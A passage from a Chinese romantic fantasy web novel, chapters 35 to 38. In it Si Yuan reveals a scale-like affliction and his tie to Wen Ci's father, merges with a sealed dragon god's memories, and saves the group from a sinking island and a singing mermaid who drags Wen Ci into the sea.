最先感受到异样的,是栖在塑像高出的啼鸦。它一个俯冲,飞到了温辞和司渊中间,左看看右看看,最后面朝温辞,用力扑扇着翅膀,嘎嘎叫着,像是想要和她些什么。
可她不是司渊,听不懂它的话。
顾清歌和顾冉听到了动静,端着烛火来到了两人面前。
35. 怯懦
-
温辞掀他衣服的动作很麻利,不等司渊反应过来,他的后背就已经显露在众人眼前。
“别动。”
他刚想挣扎,就被温辞的低喝给制止。司渊瞥她一眼,没再挣扎,任她操作。不知是不是错觉,被一众人盯着后背看,司渊觉得自己的体温越来越高。
也许是他又发病了。
司渊垂眸,看了一眼自己的胳膊,鳞片的纹路若隐若现。刚才那阵疼痛,不仅让他的体温升高,而且引发了他体内隐藏的病症。
这样的纹路,如果胳膊上有,那后背也一定出现了。
司渊正思考,如果温辞问起,他要怎么回答。忽然,接二连三的倒吸气的声音传入他的耳中。
司渊抿了抿唇,整个人都变得很僵硬。他不关心别人怎么看,就只担心温辞。
她会不会因此嫌弃他?
顾冉举着蜡烛往前凑了凑,看到司渊满背的奇怪纹路,下意识惊呼:“天啊,他的背上都是些什么东西啊?”
顾清河也跟着补充了句:“这该不会就是刚才的虫子咬的吧?”
就连章扬,也跟着往前探了探脑袋。看到司渊背上乱七八糟的黑色纹路,也忍不住倒吸了一口凉气。
有那么一瞬间,温辞感觉有一双无形的手掐住了脖子,无法自主呼吸。她粗略扫了一眼司渊的整个后背,随即又往上掀了掀他的衣服,把肩胛骨完整露出来。
她还记得刚才司渊说过的话。他说,他的肩胛骨像是被虫子啃咬一般。
正如他所言,他的肩胛骨上,相比其他位置,黑色的纹路要更加细密。肩胛骨的两侧,分别有两个黑点。更确切来说,那两个黑点,更像是两团紫到发黑的血淤。
许是先入为主,联想到司渊刚才说过的话,在座的诸位,都以为他这痕迹是两只虫子咬的。
包括温辞。
温辞的指尖轻触上他的肩胛骨,又担心会触摸会让他更加疼痛,骤然抬开。她无声张了张嘴,不忍心告诉司渊后背的真实情况,重新组织了下语言,说:“司渊,好像真的有虫子。”
“天哪,他胳膊上也有。”章扬绕到司渊面前,居高临下地俯视着看起来有点狼狈的司渊,夸张喊道:“咬伤他的虫子该不会有毒吧?”
顾冉和顾清河听了他这话,再也顾不得围观司渊,举着烛火,四下照明,生怕那种奇怪的虫子爬到自己身上。
“这里太暗了。就算真的有虫子,我们也看不到。”
顾清河扯了扯章扬的手臂,又对着顾冉说道:“我们在这里围着,也帮不了什么忙。刚才我看到塑像前面的案几上摆了很多蜡烛,我们多点一些,把这里照亮一点,免得有虫子爬到自己身上还不自知。”
“哦,好。”顾冉应下,走了两步,又转过头看了一眼温辞,她全部的注意力都在司渊身上,根本没有注意到她的目光。
顾冉失落收回目光,安静去点灯。
章扬也没继续站在两人身边。与其说他想看热闹,倒不如说他更关心自己的生命安全。
就算他当着司渊的面故作轻松,心里也极其恐惧。
他刚才仔细观察了,那种黑色的纹路已经逐渐蔓延到他的脖颈了。恐怕要不了多久,就会蔓延周身,乃至全脸。他不想变成脸上、身上布满纹路的怪物,所以,他害怕死了那种咬伤司渊的虫子。
他甚至比顾冉的动作还迅速,跟着顾清河去点灯。
没一会儿,满室亮堂。馥郁的梅香,随着昏黄的灯光,飘了满室。
顾清河、章扬和顾冉三人忌惮咬伤司渊的虫子,担心他的附近还有虫子的存在,不愿离他太近,便在离司渊最远的一道角落扎营。甚至,章扬还劝说温辞最好离司渊远一点,免得虫子爬到她身上来。
顾清河和顾冉没说话,但温辞隐隐能感觉出来,他们也是觉得章扬的话是有道理的。温辞本想说些什么,可章扬说这话时的语气,太过阴阳怪气。他明显是在针对司渊。
所以,温辞耐着性子,没去理会他。
她一直陪在司渊身边,啼鸦也是。
司渊的呼吸逐渐变得匀称,苍白的脸上了逐渐有了血色,就连疼痛感,也少了大半。司渊猜测,是空气中的暗香起了作用。
温辞看他的目光,依旧充满了担忧。她用只有两个人才能听到的声音,说:“司渊,你感觉怎么样啊?有没有哪里觉得难受?要不然,我们还是打求救电话吧?我的手机还有两格信号。”
还有最重要的一点,她担心咬伤司渊的虫子有毒。只是这一点,她担心说了会让扰乱司渊的情绪,便一直埋在心里,没有说出来。
“别担心,我已经好多了。”
而司渊,仿佛有读心术一般,三言两语就解了她心中的困惑。
“而且,也不是中毒。”他说。
“那是什么?”温辞扒着他的领口,检查已经从脖颈上消下去的纹路。
“刚才人多,我不方便说。我身上的这些,不是虫子咬出来的。”司渊抿唇,缓缓开口:“有件事情,我一直没有告诉你。我好像有病。”
温辞诧异:“什么?”
“每到月圆夜,我的皮肤上都会长出类似于蛇类鳞片的黑色纹路。就像这样。”司渊撩起短袖,把上臂还没完全消下去的黑色纹路给她看。
司渊没有垂眸去看自己的胳膊,而是时刻关注着她的神色。他已经做好了打算,但凡温辞有一丝的迟疑和害怕,他就会离她远远的,再也不靠近。
他一直盯着,温辞却始终没有露出那种让他心里一紧的神色。她好像也没有注意到他逐渐紧绷的情绪,见他停顿,她还催促他:“继续啊,怎么停了?”
司渊轻笑一声,只好继续讲下去。
“每次这些纹路生出来的时候,我的身体,就像被火烧灼一样,体温会变得很高。旁人一触碰,皮肤就像是刀割一样。”
话音未落,司渊身上一轻。再看温辞,满脸歉意的默默后退两步,把手也从他身上挪开。她回想了这一路上司渊的种种异样,以及她对司渊的种种亲密触碰,眸子里的愧疚都要溢出来了。
“那我刚才这样抓着你,是不是很疼啊?”不等司渊回应,她又说:“对不起啊,我不知道你会疼。”
“没关系,现在已经不疼了。”司渊抬手,揉了揉她的脑袋。
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>“不疼了?为什么?怎么会忽然之间不疼了?该不会是你为了宽慰我所以撒谎骗我吧?”温辞有点不太相信他的话,毕竟刚才他疼的站都站不稳。
不过片刻的时间,怎么会说不疼就不疼呢?
“是真的不疼了。”司渊指了指她身侧的那盏烛火,说:“应该是这些蜡烛的原因。正如你刚才所说,蜡烛散发出来的奇香,有安神祛痛的作用。他们点燃了更多的蜡烛,刚好抑制了我身体上的疼痛。”
温辞仔细打量了他一会儿,见他的脸色的确比刚才要好一些,这才相信了司渊的话。
温辞心里有很多疑问:“那刚才是怎么一回事?我刚才看你肩胛骨的位置上,的确有两个特别像血瘀的黑点。那到底是不是虫子咬的啊?”
司渊摇摇头:“不是,没有虫子。我也不知道怎么回事,忽然很疼,像有什么利器忽然穿透了血肉,刺入骨头一样。”
温辞看他的眼神,又充满了怜惜。
司渊连忙开口:“但也只有那一瞬,现在已经不疼了,连皮肤上的纹路也在逐渐消退。不信你看。”他抬了抬手,胳膊上的纹路已经完全消失了。
温辞还想说些什么,司渊及时打断:“好了,别想那么多了。好好休息一会儿,等天晴了,我们就离开这里。”
温辞不依不饶,勾着他的手指,说:“那我心里藏着这么多疑问,不知道答案睡不着嘛。”
司渊无奈叹了口气,说:“那好吧。还有什么疑问?统统问出来吧。”
温辞:“你还有没有事情瞒着我?”
司渊想了一会儿,冲她点点头:“有。”
温辞已经皱起了眉。
“还有最后一件事。”司渊伸出食指,言语间,满是小心和谨慎,“我不是故意要瞒着你的,只是还没来得及和你说。”
温辞:“那你说吧,我先听听看。看你说的,和我想要知道的,到底是不是一件事。”
司渊:“我和霍叔叔一早就认识,我是他资助了很多年的贫困生。”
温辞埋怨瞥他一眼:“原来你和我爸爸是这么认识的呀。那你怎么不一早告诉我?害我胡思乱想了好一阵儿。”
“最开始的时候,是没能找到一个合适的开口时机。”司渊停顿了一下,脸上出现了一抹少有的赧色。
“后来,又羞于跟你开口。”
温辞不太理解他的意思,问:“为什么会羞于跟我开口?”
“可以看出来,你的父母把你养的很好。”司渊牵过她的手,无奈低笑意声,又说:“一旦说出我跟你爸爸的关系,势必要牵出我不堪的家世。当时的我,不太成熟,面对家庭完好的你,会怯懦、自卑。”
温辞又情不自禁地凑到他面前,看着他别扭的模样,说:“司渊,想不到你还有这么可爱的一面呀。不过,你怎么能这么想我呢,我喜欢的是你这个人和你这张脸,才不会因为你的家庭情况就嫌弃你呢。”
温辞和他面对面,双手扯着他的脸颊,说:“我在你心里,就这么肤浅吗?”
司渊:“不是。我的阿辞,是这世上最宽宏大量的人。是我的问题,是我以小人之心度君子之腹。”
36. 玄境
-
司渊伸手理了理温辞身上的衣服,又拍了拍自己的肩膀,说:“一切都解释清楚了,是不是可以睡觉了?”
“好。”温辞点点头,乖巧靠了上去。
也许是这殿内的安神香太过馥郁,也许是这一路太过疲累,也许司渊的絮絮低语让她觉得安心,温辞很快有了睡意。
可就算是这样,她依旧不老实。
额头在他的下颌上亲密蹭了两下,双手紧紧抓着他的衣角,口中呢喃着:“等咱们走的时候,把这里的蜡烛全都拿走。这样,以后你就不会疼了。”
好一会儿,都没有听到司渊的回应。
温辞强撑着仰起头,用惺忪的睡眼望着他:“你有没有听见我说话?”
司渊垂眸,掌心轻拍着她的肩膀,声音越发轻柔:“听见了,都带走,睡吧。”
温辞很快睡着,角落里的另外三个人很快也安静下来,逐渐没了声音。一时间,殿内清醒着的生物,就只剩下啼鸦和司渊。
啼鸦在他面前来回踱着步,歪着脑袋,盯着司渊研究了好一会儿。终于,它发现了司渊的异样。它忽然变得很亢奋,滚了滚喉咙,正准备尖叫。
司渊恰时掀眸看过来,冲它比了一个噤声的手势。啼鸦瞬间偃旗息鼓,无声拍打着双翅,气鼓鼓的,似乎是在抗议。
无声地抗议。
好在奏效。
半晌,等温辞睡熟了,司渊冲啼鸦勾了勾手指,啼鸦信步走到他身侧。司渊右手捏了一道剑诀,在啼鸦的脑袋上虚虚点了一下。
一道泛着紫气的微弱光芒从他的指尖涌出,全数灌进啼鸦的体内。那道紫气,解开了啼鸦身体里封存了数千年的封印。
它完全吸收了那道力量之后,每一根羽毛都泛着晶莹的光泽——黑中泛着浅淡的紫气。
同一时间,谁也没有注意到,正对着案几上方的应龙塑像上雕刻着的几个字,忽然也泛出了一阵柔和的光芒。
啼鸦不是寻常的乌鸦,而是上古神鸟金乌的后代。它是上古神祇司渊神君玄境的坐骑。
玄境,本体是一条生长在深渊里的无名无姓的玄色应龙。年幼时,他曾拜入九岭山修习术法,幸得师父赐名、赐鸦。
成神之日,天书赐他司渊神君的职位,主掌天下万千水系渊潭。
后来,师父寂灭于天地之间。
九岭山中,除却师父,他还有七个同门。其中,一众同门之中,大师姐和师父最为亲近。师父陨灭,美人鲛师姐悲恸过度,几经自我了断,却都被同门师兄弟给救下。
后来,师姐离开了九岭山。同门寻觅多年,却杳无音信。
很多年以后,遥远的海滨出现了一名杀人不眨眼的女魔头。世人苦不堪言,跑去九岭山寻求帮助。九岭山的同门赶去才发现,是已经入魔的师姐。
她不知从何处寻得了一道可以让人起死回生的禁术,暗地里修炼时,不慎堕魔。连同门也不认识,更是分不清是非善恶,只知道嗜血杀人。
大多时候,她都是以美人鲛的形态待在海水里。大多时候,她喜欢用悦耳的歌声来吸引附近的渔民。
可她是有洁癖的。就算入了魔,潜意识里也依旧不喜欢除了师父以外的人踏进她的领域。
所以,每当有生人的气息侵入她的领域,她就会开启弑杀的本性。久而久之,恶人鲛的名号在世间广为流传。
也正是因为如此,她的踪迹被九岭山的同门发现。
师父曾说过,九岭山一众,修习术法的最终目的是为造福苍生。如果作恶,必清理门户。
师姐的修为,是一众同门之中最高的一个。在她还没有入魔的时候,一众同门联手,才勉强和她打个平手。
入魔之后,她的功法更上一层楼。就算是联手,也勉强能困住她片刻。
几番大战后,九岭山的同门,死伤过半。尚有战斗力的,便只剩下玄境和他的小师妹。
玄境为了小师妹的人身安全,只好以自己的元神为引,画地为牢,把师姐永久镇压在深海海底。而脱离了元神的躯体,一瞬间石化,成了如今的庚辰岛。
九岭山中的无妄,则是他一半元神所化的肉身。而另一半元神,又一分为二。一半留在了师姐体内,用以压制她的魔性。而另一半,则阴差阳错被司渊的母亲所食,故而才将司渊孕育而出。
九岭山的禁术,是身为司渊神君时期的玄境设下的。无妄只是一半的元神,不能全身而退,还连累到司渊。
伴着那一阵疼痛,无妄和司渊逐渐合二为一。
柔和且持续。
也正是因为如此,司渊才没有出现除了疼痛以外的症状,并且源源不断接收到了无妄的记忆。
也正是因为如此,他才能轻而易举解开施加在啼鸦身上的封印。并且,他能够清晰感觉到,镇压在海底深处的另外一半的封印,也在蠢蠢欲动。
天蒙蒙亮,司渊终于读取完了无妄所有的记忆,和他完全融合。
也是这时,他才彻底弄清楚温辞的来源,以及她身体不好的主要原因。
理论上来讲,她是霍懈北和温予的女儿没错。可此霍懈北非彼霍懈北。温辞生物意义上的父亲,并非是资助司渊的那个霍懈北,而是数千年前的霍无羁。
她的母亲,在穿越时空的过程中,怀上了霍无羁的孩子。而霍懈北则是保有霍无羁记忆的轮回转世,所以在生物意义上,温辞和霍懈北并没有真正的血缘关系。
也正是因为温予跨时空的生产,让温辞一出生就险些夭折。
温辞本不该存在于这个世上,身为无妄时的玄境用神的指尖血延续了她的性命。而温辞额间的那道红色的水滴形的印记,并非是她以为的胎记,而是他的指尖血的痕迹。
可那时为她延续生命的,只是玄境的一部分元神。
而非本体。
玄境的另一半元神封印在师姐体内,常年浸染魔气。
元神之间的感官是互通的,因为温辞受了他的指尖血,她的身体里也蕴藏着他丝丝缕缕的元神。也正是因为如此,温辞才会从小就畏惧身怀正气、亦或是政府部门的人员。
并非是她本人畏惧,而是因为藏在她体内的玄境的元神在作祟。
-
外面的风雨已经完全平息,晨光也从门口照射进来。司渊弯了下手指
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,殿内的烛火逐一熄灭。
啼鸦好不容易恢复了法力,扑扇着翅膀,飞出去撒欢。在此之前,它在章扬的头顶盘旋了两圈,给章扬施了道梦魇。
梦中,章扬是烟柳巷的男倌儿,而且是头牌,容貌姣好。他自命不凡,看不上寻常的客人,却每晚都被下了药送到客人房中。久而久之,他萎了。
不知过了多久,他尖叫着从梦中惊醒过来。一旁的顾清河和顾冉,甚至是安睡在司渊身侧的温辞,都被他的尖叫声给惊醒。
梦里的内容很清晰,就像是实实在在经历过一样。章扬一睡醒,就觉得自己的身体像被掏空了一样,四肢疲惫无力,整个人都没什么精神。
顾清河打量章扬一眼,问:“梦到什么了?吓成这样,脸都白了。”
顾冉也默不作声瞥了他一眼,又在章扬把目光落到她身上之前火速挪开。章扬想起梦里的内容,有口难言,脸色更难看了些。
司渊垂眸,看了一眼还没有完全清醒的温辞,问:“醒了?要不要再睡会儿?”
温辞摇摇头:“天都亮了,不睡了。你怎么样?还疼吗?我看看。”
一边说,她一边上手掀司渊的衣服。
“已经完全好了,纹路也彻底消失了。”司渊没有阻拦,甚至有几分享受。
温辞没有忘记昨晚的呢喃:“一定是那些蜡烛的功效,我现在就去把剩下的蜡烛全都装起来。”
她麻利站起身,绕到案几前,将剩余的蜡烛归拢到一处。随即又脱下穿在身上的司渊的外套,把蜡烛放进去,又把袖子打了个结,宝贝一样,沉甸甸提在手上。
顾冉凑过来,问:“温辞,你拿这些蜡烛干什么?”
温辞随便扯了由头:“我喜欢这个香气,所以准备拿走一些。”顾冉看着被温辞席卷一空的案几,对温辞口中的一些,有了新的认识。
她冲温辞笑笑,没再纠结这些蜡烛,转而重新打量起这座殿宇。
顾冉指着案几上方的塑像,惊呼一声:“上面好像有字。”
温辞仰头望去,司渊信步走到她身侧。顾清河和章扬也被吸引过来。
“是秦小篆。”顾清河说完,格外看了一眼司渊。章扬注意到他的目光,问:“你看着他做什么?上面写了什么?”
温辞也认识秦小篆,先顾清河一步念出来:“司渊神君玄境之神位。”随即,她看向司渊,打趣道:“司渊,你说巧不巧。你的名字,恰好是这条应龙的神职。”
司渊也仰头看了一眼,随即轻笑一声,说:“是挺巧的。”
“玄境——”温辞重新看向那排字,咕哝着念出这两字,身侧的司渊身形一怔,下意识垂首应她:“怎么了?”
温辞看向他,饶有兴致地搜刮着脑海里的记忆,问:“前几天在广场的时候,我听阿婆说起过庚辰岛的传说,也是跟应龙有关。你说,传说中的那条,会不会就是我们眼前的这条啊?”
司渊勾了勾唇:“或许是。”
温辞瞥了一眼光洁的案几,忽然有点心虚。她扯了扯司渊的手指,问:“咱们在这里避雨,又拿走这里的蜡烛。你说,我们要不要给他上柱香啊?”
37. 歌声
-
司渊打量了一眼塑像,脸上的笑意更深,“不用。神仙大多有一颗慈悲心,没有这么小气,不会同你计较的。”
“可这样是不是不太好啊?”温辞神色犹疑,最终还是决定给神像上香。她把包着蜡烛的外套递到司渊手里,正了正神色,毕恭毕敬点了香,对着应龙神像拜了拜,口中念念有词,道:
“司渊神君,很抱歉。我们不慎闯入,扰了您的清净不说,还要拿走您这里的蜡烛。希望您老人家大人不记小人过,不要和我们一般计较。回头,我定带着贡品,好好来感谢您的施蜡之恩。”
司渊在一旁听着,眸光越发柔和。明明她是为他才取的蜡烛,可偏偏,她把所有的因果都放在了自己身上,只言不提他。
温辞才起身,章扬不愿再继续听两人的幼稚的对话,催促道:“天已经晴了,咱们还是赶紧走吧,免得又生什么变故。”
顾清河也在一旁说了句:“走吧。”
他虽然不说,却也是受够了这里。如果时间可以重头来过,他甚至不会同意和章扬来庚辰岛。顾冉越过一众,拎过还没有消耗完的零食袋子,来到了温辞身边。
温辞正准备从司渊手上接过外套,却被他躲开。
司渊:“我来拿就好,你安心走路。”
一行人浩浩荡荡走出去。走了没多远,温辞忽然顿下步子,问:“糟了,我们把啼鸦忘了。”
话没说完,她转身便要折返回去,司渊拉都拉不住,连声说道:“不用去寻了,它已经走了。”
温辞停下来看他,那神情,像是在问:什么时候的事,我怎么不知道。
“在你睡着的时候,我亲眼看着它飞了出去。”司渊说。
“茫茫大海,它会不会跑丢啊?”温辞始终有点不放心,又扯着司渊的衣角问:“它是往哪个方向飞的啊?”
司渊反手握上她的手,絮絮说道:“放心吧,它知道回家的路。”
温辞将信将疑,可看到司渊半点不担心的样子,惴惴不安的心终于放下了大半。
一行人上了游艇,温辞心系司渊的身体,主动接过了掌舵的重任。司渊没有意见,由着她去。
船开出去没多远,身后传来一阵轰隆的闷响。
除了司渊,船上的所有人都回头望去。他们才栖身过一晚的那座小岛,正缓缓沉入海里。最诡异的是,整座岛屿下沉,除了最开始的那声轰隆闷响,再没有别的动静发出来。
岛屿周围的海面却很平静,别说浪花了,连微澜都没起。
所有人都被这画面给震撼到了。直到小岛完全浸入海面,视线之中再也寻不到它的踪迹,他们才纷纷回过神来。
章扬:“我靠,大白天见鬼了?岛呢。”
顾清河神色复杂,嗓音不自然发颤:“我现在就算是往海里扔一颗石子,也会溅起半人高的水花。可你们发现没有,那么大一座岛沉入海底,周围的海面却始终很平静。”
顾清河心有余悸地喘了口气,又说了句:“还好我们走得快,要是再磨蹭一会儿,现在怕是已经随着那座岛沉入海底了。”
听了他这话,章扬下意识吞了下口水。
顾冉同样一脸震惊,嗫喏着颤了颤唇,却始终没发出什么声音。她心里害怕极了,不着痕迹地往温辞身边挪动着脚步。
这一瞬间,她也不明白,为什么看起来柔柔弱弱的温辞,会带给她一点安慰和安全感。
很久以后,顾冉才想明白:
尽管温辞表面上看上去冷冷清清,但她其实是个好人。在那种有可能危及生命的险境中,也只有温辞,不会轻易将她抛下。
而顾清河和章扬,可就不一定了。
也许是因为拿人手短,相比于整座岛屿,温辞想的更多的,是那座庙宇。
她看了司渊一眼,司渊也刚好在看她。
四目相对,温辞忽然觉得,司渊看她的眼神好像变了。具体是哪里不一样,她又有点说不上来。
依旧是漆眸沉沉,但里面的情意,好像盛得更满了些。但仔细一想,他好像一直这么看她。
“这么看着我做什么?”司渊问她:“害怕了?”
“害怕倒没有,就是有点惊讶。”
温辞甩掉脑子里的杂念,往司渊身边凑了凑,说:“原本我还想着,等哪天再上岛去拜一拜那尊应龙神像的。毕竟我们从岛上拿了这么多根蜡烛。可现在,整座岛都消失了。想去也没得去了。”
“这么失落啊?”只言片语,司渊也能听出她的情绪有些不对劲,出言安慰:“也许,这是神的旨意。或许,你可以把我们在岛上遇到的那尊神像,当成你的幸运神。”
温辞重新看向他,眸子里满是期待。
司渊斟酌了一下语言,缓缓开口,说:“你看啊,在我们需要挡风遮雨的时候,这座岛屿忽然出现,我们有了一个可以栖身的场所。现在,天晴了。我们一行人呢,也从岛上离开了。
我们不再需要它了,所以,它又像从来没有出现过一样,缓缓消失了。”
司渊没有刻意压低声音,船上另外几人也都听见了两人的话。但不知是不是被这座忽然消失的岛屿给吓到了,谁也没有打断他,只是安静听着。
“我想起来了,你之前也说过,这片海域原本是没有岛的。”温辞想到司渊之前说过的话,随口咕哝了声:“莫非,我们误入了什么结界?就像修仙小说里写的那样。”
“这是一件没有定论的事情,你也可以这么认为。”
司渊垂首,余光瞥见放在他脚边的那一包东西,低笑一声,说:“好在,也不是完全没有收获。我们不是还拿了这么多蜡烛吗?”
温辞也看向那堆蜡烛,心不在焉应和了句:“对啊,如果不是这些蜡烛还在,我甚至会以为是错觉。”
说完这句话,温辞又冲着众人喊了句:“坐稳了,我们要出发了。”
话音未落,机器的轰鸣声传入每个人耳中。
天气晴朗,海面平静,可船上的诸位完全没有了欣赏的心情。除了司渊,船上的每个人精神都异常紧绷。他们受够了海上的各种突发状况,满脑子都只有一个念头:尽快上岸。
温辞专注操作机器,没有注意到船上一度变得很奇怪的氛围:安静,且怪异。
司渊坐
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姿松散,微微垂着脑袋。大多时候,他都是盯着海面发呆。偶尔,也会把目光落在温辞的背影上。
其实,他只是看起来像在发呆。实际上,他是在回忆九岭山的同门在这片海域上自相残杀的事情。
顾冉紧张的情绪还没有完全消散,她身体紧绷,坐姿端正,连呼吸都放得很轻。
顾清河和章扬相邻坐着,时不时四目相对,却谁也没有搭理谁。
这样怪异的氛围一直持续到温辞把船开进熟悉的海域内。前段时间,温辞和任薇学习游艇驾驶实操时,就是在这片海。所以,相对于其他海域,庚辰岛附近的海域她还是比较熟悉的。
游艇的速度慢下来,温辞回头,冲众人喊了声:“还有差不多半个小时,我们就能回到庚辰岛了。”
“太好了,终于可以回去了。”顾冉的脸上终于扬起一抹笑意,“我都快臭死了,等上了岸,我要先洗个澡。”
“抱歉啊,本来是想邀请你们出海玩,没想到遇到这么多事情。”温辞看了她一眼,和平常相比,此时的顾冉的确有点狼狈。
温辞有点于心不忍,说:“岛上有一家桑拿店,等上了岸,我请你去。”
“好呀。”顾冉欣然同意,整个人都放松了很多。
顾清河和章扬的目光也纷纷投向温辞,目的不言而喻。
“我们也要。都是同学,你不能厚此薄彼”说话的是顾清河。温辞看过去时,他一脸无辜,仿佛只是为了蹭一回桑拿。
司渊也抬起了头,冷冷瞥他一眼,便挪开了目光。他知道,温辞一定不会同意。她只是懒得动脑子,不是没脑子。顾清河的意图,已经从暗处抬到了明面上。她不可能感受不出来。
“我们两个小姑娘,你们就别瞎凑热闹了。”温辞直接拒绝了他的提议,司渊听着,无声勾了勾唇。
“而且,男女有别。我们只是同学,蒸桑拿这种私密的事情,不太适合一起行动。”说完这话,温辞开始思考,这番话到底是顾清河自己的意思,还是章扬逼着他说的。
她在脑海中回顾了一下顾清河开口说话之前,他和章扬好像没有互动,连眼神上的交流都没有。那么,就是他自己的意思了。
他为什么要这么说?
在此之前,顾清河一直是温润如玉的形象,做事说话,很会拿捏尺寸,根本不会让人感到不舒服。
可是刚才的那番话,她听出几分不怀好意。
也许不是不怀好意,但她听了,却不是很舒服,所以果断拒绝。
温辞没再看他,转过身,垂首看着仪表盘。顾清河面上一白,尴尬笑笑,半晌没有言语。
游艇又开出好一段距离,尾部拉出一层层白色的浪花。恍惚中,一阵轻灵悦耳的女声传来。如泣如诉,又像是在歌唱。
“好像有女生在唱歌。”顾冉环顾四周,却始终有点定位不准,歌声是从哪艘小船上传来的。
温辞也转头望去,顾清河和章扬同样好奇。唯有司渊,连头也没抬。只是手指下意识蜷缩了下。
“她唱的什么啊?听不太清楚。”温辞歪着脑袋,辨别了好一会儿,却始终听不清歌词。
38. 美人鲛
-
司渊终于有了动作,他坐直了身体,缓缓吐出两个字:“《无题》。”
“什么?”温辞转过头看他。
“君生我未生那首诗,听过吗?”司渊问。
温辞摇摇头。
“春水春池满,春时春草生。春人饮春酒,春鸟哢春声。
君生我未生,我生君已老。君恨我生迟,我恨君生早。
人归万里外,意在一杯中。只虑前程远,开帆待好风。
自入长信宫,每对孤灯泣。闺门镇不开,梦从何处入。
一别行千里,来时未有期。月中三十日,无夜不相思。”
司渊沉声,把歌词完整背了一遍,又说了句:“是唐代的一首无题诗,作者已不可考。”
“你怎么确定是这一首啊?”顾冉好奇问他:“离这么远,你能听清楚?”
司渊看了她一眼,说:“从小,我的耳朵就比较好。”
他怎么会知道?还不是亲耳听师姐唱过。司渊的眼神忽然变得很晦涩。
歌声越发清晰。仔细听的话,刚好能听出,她已经唱到了最后那句:无夜不相思。
婉转悠扬的腔调传入耳中,每个人都沉默了片刻。最后,还是温辞打破了这阵沉默。
她看向司渊,说:“她不是在唱歌,是在唱戏吧?”
尾调拉得好长,和小时候在古朴的戏楼里听过的腔调有点像。
温辞的脑海里忽然浮现出一段不符合这个世界的、有点模糊的记忆。在她的记忆里,周围的人全都穿着古装。台上的名伶,咿咿呀呀唱的,就是这样类似的腔调。
也只是一瞬,那画面就消失不见。仿佛一切,都是她的臆想。
在温辞热切的注视下,司渊缓缓点下了头,说:“不是歌,是戏腔。对于你们来说,有点古老,所以歌词的内容一般很难听懂。”
“什么叫对于我们来说?司渊,你是有多大啊?装熟。”温辞抓住了他说话的漏洞,神色狡黠,像九岭山的野狐一般。“不知道的,还以为你是千年老妖怪呢。”
司渊安静一瞬,又说:“我小时候听过这种戏腔,所以能听懂一些。”
“巧了,我也是。”温辞咕哝了句。
除了她自己,谁也没听清这句话到底是什么。因为唱戏的那个神秘女生,又开始从头唱这首《无题》了。她好像格外偏爱这首诗,来来回回重复着。
温辞也安静下来,仔细聆听着古老的戏腔。因为司渊背过一遍词,和第一遍相比,偶尔也能听懂几句。
“不知道为什么,我听她唱,心里有点难受。”
又听完了一遍,温辞艰涩开口:“唱这首诗的姐姐,是不是有一个爱而不得的心上人啊。她好像在这首诗里蕴藏了很多的感情。”
“或许吧。”顾冉的情绪也有点低落。相比之下,女孩子的心思,总是细腻的。
司渊抿了抿唇,却没开口说话。他不知道该说什么,眼睛里却盛满了哀思。
戏腔又一次响起,比前两次更加清晰。
唱戏的人好像离他们越来越近了。
意识到这一点,温辞重新扫了一圈四周。海面上不知道什么时候起了雾,白茫茫一片,什么也看不清楚。
这两天,经历了太多奇怪的事情,她下意识看了一眼司渊,说:“司渊,你看,起雾了。”
司渊终于从糟糕的情绪中抽离出来,他抬头望向温辞的一瞬间,眸子里的迷茫、痛苦逐渐隐去。
温辞青涩的五官从模糊变得清晰,司渊滚了滚喉结,问她:“你说什么?”
“起雾了。”温辞指了指不远处的海面。
司渊顺着她的指尖望去,下一秒钟,他腾一下站起身。他差点忘了,这个时候的温辞,对美人鲛的歌声完全没有抵抗之力。
温辞甚至没有看清他是如何迈开步子的,他就来到了她的身后。
与其说走,更像是瞬移。他忽然就瞬移到了她的身边。
温辞刚准备和他说些什么,双耳忽然被他用手掌捂住。有那么一瞬,她只能听见自己的心跳声。
“阿辞,不要听。”
明明他已经用手掌紧紧捂住了她的耳朵,可他的声音依旧清晰无比传入了她的耳中。温辞仰着脑袋,后脑勺抵着他的胸口,高声喊了句:“不要听什么?”
“歌声。”
温辞刚想问他为什么,余光忽然瞥到船上的另外三个人——神情恍惚,又同时从座位上站起身,迈着步子,直冲冲往海里走去。
“哎,司渊,你看他们。”温辞扬起胳膊,在顾冉坠海之前,一把拽住离她最近的顾冉的手腕。
“自己捂住耳朵,不要听歌声,不然你也会像他们一样的。”叮嘱完,他又把温辞闲着的那条手臂举起来,手掌捂到耳朵上。
紧接着,他转过身,一个大跨步,走到顾清河和章扬的身后,一手揪一个后衣领,将两人扯了回来。
伴随着两人摔坐在舱内,司渊面无表情说了句:“麻烦。”
船上的人已经全都恢复了理智,为了不让他们继续被美人鲛的歌声迷惑,司渊抬手在每个人的眉心虚点了一下。
他的指尖血,能够保证他们每个人都头脑澄明。顾清河、章扬依次点完,司渊来到了温辞身边。
顾冉站在温辞身后,司渊看了两人一眼,圆润的指尖落在了温辞的眉心——那处红色水滴形印记的位置。
温润的肌肤,带来了些许痒意。温辞想躲,被他低声喝住:“别动。”
他重新往她的身体里灌了些指尖血进去,那道印记,在他的触碰下,颜色越来越浓郁。
“还没好啊?”温辞催促,又好奇问了句:“这是在干什么?”
“好了。”司渊终于抬起了手,解释道:“你们听到的歌声,是美人鲛唱的,意在迷惑人的心智,寻找猎物。指尖血可以防止你们被她迷惑。”
一边说,他把温辞牵到一侧,抬起手,正准备往顾冉眉心点去。
“小心——”顾冉却忽然开口,神色紧张,像是看到了什么不得了的东西。
司渊心里忽然生出一丝不安,他用最快的速度给顾冉点完指尖血,回头,看向温辞的方向。
与此同时,顾冉没说完的后半句话也脱口而出:“温辞。”
她刚才是想说:小心,温辞。
可惜,还是晚了一步。司渊看过去的时候,温辞被一条五彩斑斓的尾巴卷着腰身,拖入了海里。
速度之快,温辞甚至来不及发声警示。下坠的途中,心脏紧绷的同时,她尖叫一声。
尖叫只是下意识的反应,她的心里其实没有那么害怕的。
因为鼻腔灌满咸湿海水的前一秒钟,她看到司渊一脸焦急地朝她扑来。
不知道是不是错觉,他纵身跳下来的一瞬,温辞隐隐看到,他那双漆黑无比的瞳孔忽然变成了只有兽类才会有的竖瞳。
-
温辞被奇怪的尾巴拖下海,司渊想也没想、纵身跳下去救人这两件事情,几乎是在一瞬间发生的。
司渊跳下去后,飞溅的水花打湿了船上惊慌失
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措的三人。顾冉比其他两人要好一些,慌张之余,还有对温辞的担忧。
“什么东西把温辞拽下去了?”章扬凑到顾冉身边,问:“你有没有看清啊?”
顾冉摇摇头,说:“速度太快了,我没看清,好像是一条鱼尾巴。”
